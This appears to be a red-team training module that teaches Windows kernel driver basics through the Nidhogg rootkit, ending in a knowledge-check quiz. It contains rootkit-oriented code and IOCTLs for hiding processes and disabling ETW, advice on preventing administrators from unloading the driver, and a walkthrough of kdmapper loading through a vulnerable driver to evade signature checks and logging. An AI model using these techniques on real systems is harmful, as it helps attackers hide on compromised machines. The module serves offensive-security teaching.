Difficulty: Beginner

Module 2: Windows Kernel Driver Basics

DriverEntry, IRP dispatch, IOCTL communication, and loading drivers into the kernel.

Module Objective

Understand the anatomy of a Windows kernel driver: the DriverEntry entry point, device and symbolic link creation, IRP (I/O Request Packet) dispatch routines, IOCTL-based communication with user mode, and the mechanisms for loading a driver via sc.exe or manual mapping with kdmapper.

1. DriverEntry: The Kernel Entry Point

Every Windows kernel driver begins execution at DriverEntry, analogous to main() in user-mode programs. The function signature is defined by the WDK:

C// DriverEntry - called by the I/O Manager when the driver is loaded
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT  DriverObject,   // Represents this driver in the kernel
    _In_ PUNICODE_STRING RegistryPath    // Registry key for driver parameters
) {
    NTSTATUS status;

    // 1. Set up dispatch routines (IRP handlers)
    DriverObject->MajorFunction[IRP_MJ_CREATE] = NidhoggCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]  = NidhoggCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl;

    // 2. Set the unload routine (allows driver to be stopped)
    DriverObject->DriverUnload = NidhoggUnload;

    // 3. Create a device object (communication endpoint)
    UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\Nidhogg");
    PDEVICE_OBJECT DeviceObject;
    status = IoCreateDevice(
        DriverObject,
        0,                    // DeviceExtensionSize
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,                // Not exclusive
        &DeviceObject
    );
    if (!NT_SUCCESS(status)) return status;

    // 4. Create a symbolic link for user-mode access
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
    status = IoCreateSymbolicLink(&symLink, &deviceName);
    if (!NT_SUCCESS(status)) {
        IoDeleteDevice(DeviceObject);
        return status;
    }

    return STATUS_SUCCESS;
}

The DRIVER_OBJECT

The DRIVER_OBJECT structure is the kernel's representation of a loaded driver. It contains the MajorFunction array — a table of 28 function pointers, one for each IRP major function code. The I/O Manager uses this table to dispatch I/O requests to the correct handler in the driver. Setting these pointers is how the driver tells the kernel which functions to call.

2. Device Objects and Symbolic Links

For user-mode applications to communicate with a kernel driver, two objects must be created:

ObjectPurposeNamespaceAccessible From
Device ObjectThe actual communication endpoint in the kernel\Device\NidhoggKernel mode only
Symbolic LinkA name visible to user-mode applications\\.\Nidhogg (user sees \??\Nidhogg)User mode via CreateFile

The symbolic link acts as a bridge. When a user-mode application calls CreateFile(L"\\\\.\\Nidhogg", ...), the Object Manager resolves the symbolic link \??\Nidhogg to the device object \Device\Nidhogg, and the I/O Manager sends an IRP_MJ_CREATE to the driver.

C++// User-mode client opening a handle to Nidhogg
HANDLE hDevice = CreateFileW(
    L"\\\\.\\Nidhogg",       // Symbolic link name
    GENERIC_READ | GENERIC_WRITE,
    0,                        // No sharing
    NULL,                     // Default security
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);
// hDevice is now a handle to Nidhogg's device object

3. IRP Dispatch Model

All communication between user mode and kernel drivers flows through I/O Request Packets (IRPs). An IRP is a kernel data structure that describes a pending I/O operation:

Key IRP Major Function Codes

CodeTriggered ByPurpose in Nidhogg
IRP_MJ_CREATECreateFile()Open a handle to the device
IRP_MJ_CLOSECloseHandle()Close the device handle
IRP_MJ_DEVICE_CONTROLDeviceIoControl()Send IOCTL commands (the main communication channel)
IRP_MJ_READReadFile()Not used by Nidhogg (IOCTL-only design)
IRP_MJ_WRITEWriteFile()Not used by Nidhogg (IOCTL-only design)

Each IRP contains an array of IO_STACK_LOCATION structures, one per driver in the device stack. The current stack location holds the parameters for the operation, including the IOCTL code and input/output buffer information.

C// Minimal IRP_MJ_CREATE / IRP_MJ_CLOSE handler
NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

4. IOCTL Communication

IOCTLs (I/O Control Codes) are the primary mechanism for sending structured commands from user mode to a kernel driver. An IOCTL code is a 32-bit value that encodes four fields:

C// IOCTL code layout (CTL_CODE macro)
#define CTL_CODE(DeviceType, Function, Method, Access) \
    (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

// Nidhogg IOCTL definitions (example)
#define IOCTL_NIDHOGG_HIDE_PROCESS \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_NIDHOGG_PROTECT_FILE \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_NIDHOGG_DISABLE_ETW \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
FieldBitsPurpose
DeviceType31-16Type of device (FILE_DEVICE_UNKNOWN for custom drivers)
Access15-14Required access rights (FILE_ANY_ACCESS, FILE_READ_DATA, etc.)
Function13-2Driver-defined function code (0x800+ for vendor-defined)
Method1-0Buffer transfer method (METHOD_BUFFERED, METHOD_NEITHER, etc.)

5. Buffer Transfer Methods

The Method field in the IOCTL code determines how input/output buffers are handled between user mode and kernel mode:

METHOD_BUFFERED (Most Common, Used by Nidhogg)

The I/O Manager allocates a kernel-mode buffer, copies user input into it before calling the driver, and copies output back to user mode after the driver completes. This is the safest method because the driver never touches user-mode addresses directly.

C// Accessing buffers in METHOD_BUFFERED IOCTL handler
NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctl = stack->Parameters.DeviceIoControl.IoControlCode;

    // For METHOD_BUFFERED:
    // Input buffer:  Irp->AssociatedIrp.SystemBuffer (kernel copy of user input)
    // Output buffer: Irp->AssociatedIrp.SystemBuffer (same buffer, reused)
    // Input size:    stack->Parameters.DeviceIoControl.InputBufferLength
    // Output size:   stack->Parameters.DeviceIoControl.OutputBufferLength

    PVOID buffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inLen  = stack->Parameters.DeviceIoControl.InputBufferLength;

    switch (ioctl) {
    case IOCTL_NIDHOGG_HIDE_PROCESS:
        // buffer contains the PID to hide
        if (inLen < sizeof(ULONG)) {
            Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
            break;
        }
        ULONG pid = *(PULONG)buffer;
        Irp->IoStatus.Status = HideProcess(pid);
        break;

    // ... other IOCTL cases ...

    default:
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

6. The User-Mode Client Side

NidhoggClient (the C++ user-mode component) sends commands to the driver through standard Win32 APIs:

C++// NidhoggClient: sending a "hide process" command
bool HideProcess(HANDLE hDevice, DWORD pid) {
    DWORD bytesReturned = 0;
    BOOL success = DeviceIoControl(
        hDevice,                       // Handle from CreateFile
        IOCTL_NIDHOGG_HIDE_PROCESS,    // IOCTL code
        &pid,                          // Input buffer (PID)
        sizeof(pid),                   // Input size
        NULL,                          // No output buffer needed
        0,                             // Output size
        &bytesReturned,                // Bytes returned
        NULL                           // Not overlapped
    );
    return success != FALSE;
}

Communication Flow

  1. Client calls CreateFile(L"\\\\.\\Nidhogg") → IRP_MJ_CREATE → driver returns SUCCESS
  2. Client calls DeviceIoControl(hDevice, IOCTL_HIDE_PROCESS, &pid, ...)
  3. I/O Manager creates an IRP with major function IRP_MJ_DEVICE_CONTROL
  4. I/O Manager copies pid into a kernel buffer (METHOD_BUFFERED)
  5. Driver's NidhoggDeviceControl is called, reads PID, performs DKOM
  6. Driver completes IRP with STATUS_SUCCESS
  7. Control returns to user mode; DeviceIoControl returns TRUE

7. Driver Unload

A well-written rootkit should support clean unloading. The DriverUnload routine reverses all setup done in DriverEntry:

CVOID NidhoggUnload(_In_ PDRIVER_OBJECT DriverObject) {
    // 1. Remove any installed callbacks
    // (CmUnRegisterCallback, ObUnRegisterCallbacks, etc.)

    // 2. Undo any DKOM modifications
    // (re-link hidden processes, restore hooked IRP pointers)

    // 3. Delete symbolic link
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
    IoDeleteSymbolicLink(&symLink);

    // 4. Delete device object
    IoDeleteDevice(DriverObject->DeviceObject);
}

Unload Considerations

In practice, many rootkits either omit the unload routine (making the driver persistent until reboot) or set DriverObject->DriverUnload = NULL to prevent administrators from stopping the driver. Nidhogg supports unloading for development convenience, but an operational deployment might disable it.

8. Loading Drivers: sc.exe vs kdmapper

Two common methods for loading kernel drivers during red team operations:

8.1 Service Control Manager (sc.exe)

Batch:: Create a kernel driver service
sc create Nidhogg type= kernel binPath= C:\path\to\Nidhogg.sys

:: Start the driver (triggers DriverEntry)
sc start Nidhogg

:: Stop the driver (triggers DriverUnload)
sc stop Nidhogg

:: Delete the service registration
sc delete Nidhogg

This is the legitimate path. It requires administrator privileges and a signed driver. The Service Control Manager calls NtLoadDriver, which invokes CI signature validation. The driver load is logged in the System event log (Event ID 7045).

8.2 kdmapper (Manual Mapping)

Textkdmapper.exe Nidhogg.sys

Flow:
1. Load signed vulnerable driver (e.g., iqvw64e.sys from Intel)
2. Exploit R/W primitive in the vulnerable driver
3. Allocate kernel pool memory via the exploit
4. Copy Nidhogg.sys image into pool memory
5. Resolve imports manually (ntoskrnl exports)
6. Call DriverEntry via the exploit
7. Unload the vulnerable driver (optional)

Result: Nidhogg is running in kernel memory
        with NO service registration
        NO entry in the loaded modules list
        NO standard driver signature check

Detection Differences

Indicatorsc.exe Loadkdmapper Load
Service registry keyYesNo
System event log (7045)YesNo (but vuln driver load is logged)
PsLoadedModuleList entryYesNo
Driver signature requiredYesNo (bypassed)
DriverObject createdYes (by I/O Manager)No (must be faked or omitted)

9. Kernel Pool Memory

Kernel drivers allocate memory from kernel pools rather than the user-mode heap. Understanding pool types is important for rootkit development:

Pool TypeCharacteristicsTypical Use
NonPagedPoolAlways in physical memory (never paged out), accessible at any IRQLData accessed in ISRs, DPC routines, or at DISPATCH_LEVEL
PagedPoolCan be paged to disk, accessible only at IRQL < DISPATCH_LEVELLarge buffers, string storage, data accessed only at PASSIVE_LEVEL
NonPagedPoolNxNon-paged, non-executable (W^X compliant)Data buffers that should never contain executable code
C// Allocating kernel pool memory
PVOID buffer = ExAllocatePool2(
    POOL_FLAG_NON_PAGED,  // Pool type (Windows 10 2004+)
    sizeof(HIDDEN_PROCESS_ENTRY),
    'hdiN'                // Pool tag ('Nidh' reversed) for debugging
);

// Always check for allocation failure
if (!buffer) return STATUS_INSUFFICIENT_RESOURCES;

// Free when done
ExFreePoolWithTag(buffer, 'hdiN');

Knowledge Check

Q1: What is the purpose of a symbolic link in kernel driver communication?

A) It encrypts the communication channel between user mode and kernel mode
B) It provides a user-mode-accessible name that maps to the kernel device object, allowing CreateFile to open a handle
C) It links the driver to other kernel modules
D) It registers the driver with PatchGuard

Q2: In METHOD_BUFFERED IOCTL handling, where does the driver read user input from?

A) Irp->AssociatedIrp.SystemBuffer (a kernel-mode copy made by the I/O Manager)
B) Directly from the user-mode buffer address
C) The driver's DeviceExtension
D) A shared memory region in the PEB

Q3: What is the key advantage of loading a driver via kdmapper versus sc.exe?

A) kdmapper provides better driver performance
B) kdmapper creates proper service registry entries
C) kdmapper bypasses driver signature enforcement and leaves no service registration or loaded module list entry
D) kdmapper is the only way to load drivers on Windows 11